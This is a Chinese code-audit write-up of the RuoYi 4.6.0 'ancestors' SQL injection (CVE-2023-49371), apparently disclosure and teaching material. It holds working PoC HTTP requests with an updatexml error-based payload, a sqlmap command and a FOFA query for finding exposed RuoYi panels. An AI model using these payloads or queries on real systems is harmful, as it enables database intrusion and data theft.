若依 RuoYi 4.6.0 ancestors SQL注入漏洞(CVE-2023-49371)代码审计
若依RuoYi框架4.6.0及之前版本存在SQL注入漏洞,攻击者可通过/system/dept/edit接口构造恶意SQL语句,导致数据库信息泄露或权限提升。该漏洞源于ancestors参数未过滤用户输入。建议升级至最新版本修复。 2025-8-31 02:49:28 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

1. 漏洞基本信息

  • 漏洞名称:若依 RuoYi 4.6.0 ancestors SQL注入漏洞

  • 影响系统 / CMS名称:若依 RuoYi

  • 影响版本范围:v4.6.0 之前

  • 漏洞类型:SQL注入

  • 漏洞发现日期:2023-12-01

2. 漏洞描述

若依(RuoYi)是一款基于SpringBoot的快速开发框架,广泛应用于企业级管理系统。在4.6.0及之前版本中,由于/system/dept/edit中的ancestors参数未对用户输入进行严格过滤,攻击者可利用特定接口构造恶意SQL语句,导致数据库信息泄露、数据篡改或服务端权限提升。

3. 漏洞影响版本

v4.6.0 之前

来源:https://www.cve.org/CVERecord?id=CVE-2023-49371

4. 网络测绘语法

fofa:

app="若依-管理系统"

img

5. 环境搭建

JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Maven >= 3.0

下载地址:https://github.com/yangzongzhuan/RuoYi/archive/refs/tags/v4.6.0.zip

安装官方文档参考:https://doc.ruoyi.vip/ruoyi/document/hjbs.html#%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C

IDEA打开项目,自动加载依赖

img

pom.xml不爆红即可

phpstudy开启mysql

img

创建数据库ry

img

导入/sql目录下的两个数据库文件:sql/quartz.sql、sql/ry_20201214.sql

img

修改数据库配置文件:RuoYi-4.6.0\ruoyi-admin\src\main\resources\application-druid.yml

img

修改端口,防止80端口被占用:RuoYi-4.6.0\ruoyi-admin\src\main\resources\application.yml、

这里改为8000

img

启动,看到 若依启动成功 即可

img

访问http://127.0.0.1:8000/

img

默认密码:admin/admin123

img

至此环境搭建完成

6. SQL注入原理及代码审计分析

漏洞分析

逆向审计

确定使用的是mybatis

img

全局搜索${,找没有预编译的地方,并且这里执行语句是定义在了xml文件中,我们要搜xml后缀文件

img

跟入,发现SysDeptMapper.xml文件中的155行ancestors参数直接使用$拼接,并且这里是in语句(in语句使用#拼接时会爆语法错误)

这里的parameterType="SysDept",是一个实体类,跟入可以看到

img

里面定义了一些属性和方法

通过id发现调用的是updateDeptStatus方法,使用插件跳转到对应的java文件处

img

跟踪到了SysDeptMapper.java文件中,进入DAO层

img

这里只是定义了这个方法,继续跟入

img

跟入SysDeptServiceImpl.java,来到service层,但是service层我们无法传参,需要找到调用这个service层的controller层,才能有路由让我们能访问,并且有用get或者post方法接收参数的方法,所以我们需要继续跟到controller

img

这段代码是SysDeptServiceImpl类中的updateParentDeptStatus方法,用于更新部门状态,逻辑如下:

  1. 获取当前操作人:从传入的dept对象中提取updateBy(更新人信息)。

  2. 重新查询部门信息:通过deptMapper.selectDeptById根据部门ID从数据库获取最新部门数据。

  3. 恢复更新人信息:将之前获取的updateBy重新设置到查询到的部门对象中。

  4. 更新部门状态:调用deptMapper.updateDeptStatus方法将部门状态更新到数据库。

核心逻辑:通过重新查询确保部门数据为最新状态,保留操作人信息后更新状态,避免并发修改问题。

updateParentDeptStatus方法分析:方法接受一个部门的实例dept,SysDept是一个自定义的Java类,代表系统中的部门实体(Department),包含了部门的相关属性和方法,用了一个dept.getUpdateBy取出了dept的updateBy,然后用了一个mapper接口去查询id值

img

跟进发现里面有sql查询,但是是#{,意义不大

img

img

然后用setUpdateBy设置了一下更新后的值,最后调用了updateDeptStatus,继续跟,看谁调用了updateParentDeptStatus方法

img

跟踪到了SysDeptServiceImpl.java中的updateDept方法调用了该方法

img

分析代码,看是否存在过滤

此方法 updateDept 的主要功能是更新部门信息,具体步骤如下:

  1. 获取新旧上级部门信息:通过 deptMapper.selectDeptById 方法根据传入的 dept 对象的 parentId 获取新的上级部门信息,通过 selectDeptById 方法(推测是当前类的方法)根据 dept 对象的 deptId 获取旧部门信息。

  2. 更新部门祖先信息:如果新的上级部门和旧部门都存在,会生成新的祖先信息 newAncestors,并调用 updateDeptChildren 方法更新该部门及其子部门的祖先信息。

  3. 更新部门信息:调用 deptMapper.updateDept 方法将更新后的部门信息保存到数据库中。

  4. 更新上级部门状态:如果该部门的状态为启用状态(UserConstants.DEPT_NORMAL),则调用 updateParentDeptStatus 方法更新其所有上级部门的状态。

dept 参数过滤情况 从提供的代码来看,没有对dept参数进行过滤。代码直接使用了 dept 对象的多个属性,如 parentId、deptId 和 status 等,没有对这些属性的值进行有效性检查、安全过滤或其他形式的过滤操作。

也就是说,updateDept方法并没有对传递参数dept进行过滤,继续跟踪updateDept方法,看在什么地方调用了该方法

img

此时就进入了controller层,这里定义了访问路由与参数传递

img

同时需要绕过,不进入三个if,这三个if中只是对于参数合理性进行校验,没有对参数传递的安全性进行校验和过滤

103行,子路由为/edit

img

最上层,根路由为/system/dept

img

正向审计

首先我们来到controller层的路由触发点,该功能点为部门管理处的更新操作,路由为/edit/system/dept,参数为一个dept类

其中121行调用了updateDept方法,跟入该方法

img

来到了ISysDeptService.java文件,进入service层,这里只是声明了该方法,我们需要找到哪里实现了该方法

img

跟入到了SysDeptServiceImpl.java文件,仍然在service层,但是这里定义了方法如何实现,其中232行调用了updateParentDeptStatus方法,继续跟入

img

依然在service层,我们查看updateParentDeptStatus方法是如何实现的

245行中显示调用了dept类中的getDeptId方法,并且将返回值作为参数,再次调用DAO层中的selectDeptById方法

img

getDeptId方法是直接获取dept类中的deptId参数值,这个参数值再传参过程中我们可控

img

跟入selectDeptById方法,进入DAO层

img

通过插件定位xml文件发现,虽然deptId参数我们可控,但这里使用了#进行预编译,无法进行注入

img

重新回到service层的updateParentDeptStatus方法

其中247行又调用了一个updateDeptStatus方法,并且参数为我们可控的dept类

img

跟入updateDeptStatus方法进入DAO层,继续跟入对应的xml文件处

img

查看xml处定义的执行语句

img

发现ancestors参数使用$拼接进了查询语句,造成了注入,这里的ancestors参数也就是我们可控的dept类中的参数

img

因此,我们只需要访问路由/system/dept/edit,并且在其中的参数ancestors处构造payload,即可实现注入

总结:

我们需要访问/system/dept/edit,传递的dept类中的ancestors参数使用了${}直接拼接查询语句,并且在dept传递过程中,没有对于dept中的参数值做安全性校验,导致存在SQL注入

漏洞验证

遇到问题:

第一次当我点击深圳总公司处的编辑,尝试注入

img

并没有成功报错注入

img

查看数据库查询语句,我们发现sql语句的执行过程:

  1. 首先进行dept_name和parent_id的查询(select)

  2. 其次进行dept_id的查询(select)

  3. 查询 sys_dept 表中,ancestors 字段包含指定值(?)的所有记录(select)

  4. 然后更新parent_id , dept_name , ancestors 等数据(update)

  5. 最后进行对数据的插入(insert)

img

img

我们操作的部门不在ancestors范围之内,重新查看xml中定义的sql语句,

img

where限制了更新的条件,dept_id的值要在${ancestors}中,这里就是要在100之内,再次查看刚才的数据包,deptId=101,在100以外,不满足where条件,无法注入

img

正确注入方式:

勾选若依科技,点击修改

img

点击确定

img

查看数据包,这里deptId参数值为100,符合要求

img

手动拼接ancestors参数

&ancestors=updatexml(1,concat(0x7e,(database())),1)

POC:

POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 222
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8000/system/dept/edit/100
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=df0f8ecb-fa32-404f-832a-230e24d770d3
Connection: close

deptId=100&parentId=0&parentName=%E6%97%A0&deptName=%E8%8B%A5%E4%BE%9D%E7%A7%91%E6%8A%80&orderNum=0&leader=%E8%8B%A5%E4%BE%9D2&phone=15888888888&email=ry%40qq.com&status=0&ancestors=updatexml(1,concat(0x7e,(database())),1)

获取数据库名

img

获取用户名

img

获取版本

img

另一种方式,手动构造POC:

手动构造deptId=100,其他参数满足要求即可(同样是更改deptId=100这个部门的数据,和直接点击更改若依科技部门的结果相同)

POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 116
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8000/system/dept/edit/101
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=df0f8ecb-fa32-404f-832a-230e24d770d3
Connection: close

deptId=100&parentId=2&parentName=5&deptName=9&orderNum=5&status=0&ancestors=updatexml(1,concat(0x7e,(database())),1)

img

sqlmap验证(跑不出来)

该处的查询语句为update语句,在使用sqlmap时需要加risk

img

sqli.txt:

POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 221
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8000/system/dept/edit/100
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=df0f8ecb-fa32-404f-832a-230e24d770d3
Connection: close

deptId=100&parentId=0&parentName=%E6%97%A0&deptName=%E8%8B%A5%E4%BE%9D%E7%A7%91%E6%8A%80&orderNum=0&leader=%E8%8B%A5%E4%BE%9D2&phone=15888888888&email=ry%40qq.com&status=0&ancestors=

sqlmap:

python sqlmap.py -r sqli.txt -p ancestors --batch --level=3 --risk=3 --dbms=mysql

猜测可能是sqlmap在验证时,由于该处的功能点是编辑,导致poc批量测试时对语句造成了影响

img查看sql语句,发现的确是因为sqlmap的poc对原始的语句造成了影响

img

7. 参考资料

https://www.cve.org/CVERecord/SearchResults?query=CVE-2023-49371

https://blog.csdn.net/2301_79545986/article/details/150265995

https://tttang.com/archive/1712/

https://www.freebuf.com/articles/web/416547.html

https://w0s1np.github.io/post/ruoyi-4.6.0%E6%BC%8F%E6%B4%9E/#sql%E6%B3%A8%E5%85%A5

https://cloud.tencent.com/developer/article/2370898


文章来源: https://www.freebuf.com/articles/vuls/446644.html
如有侵权请联系:admin#unsafe.sh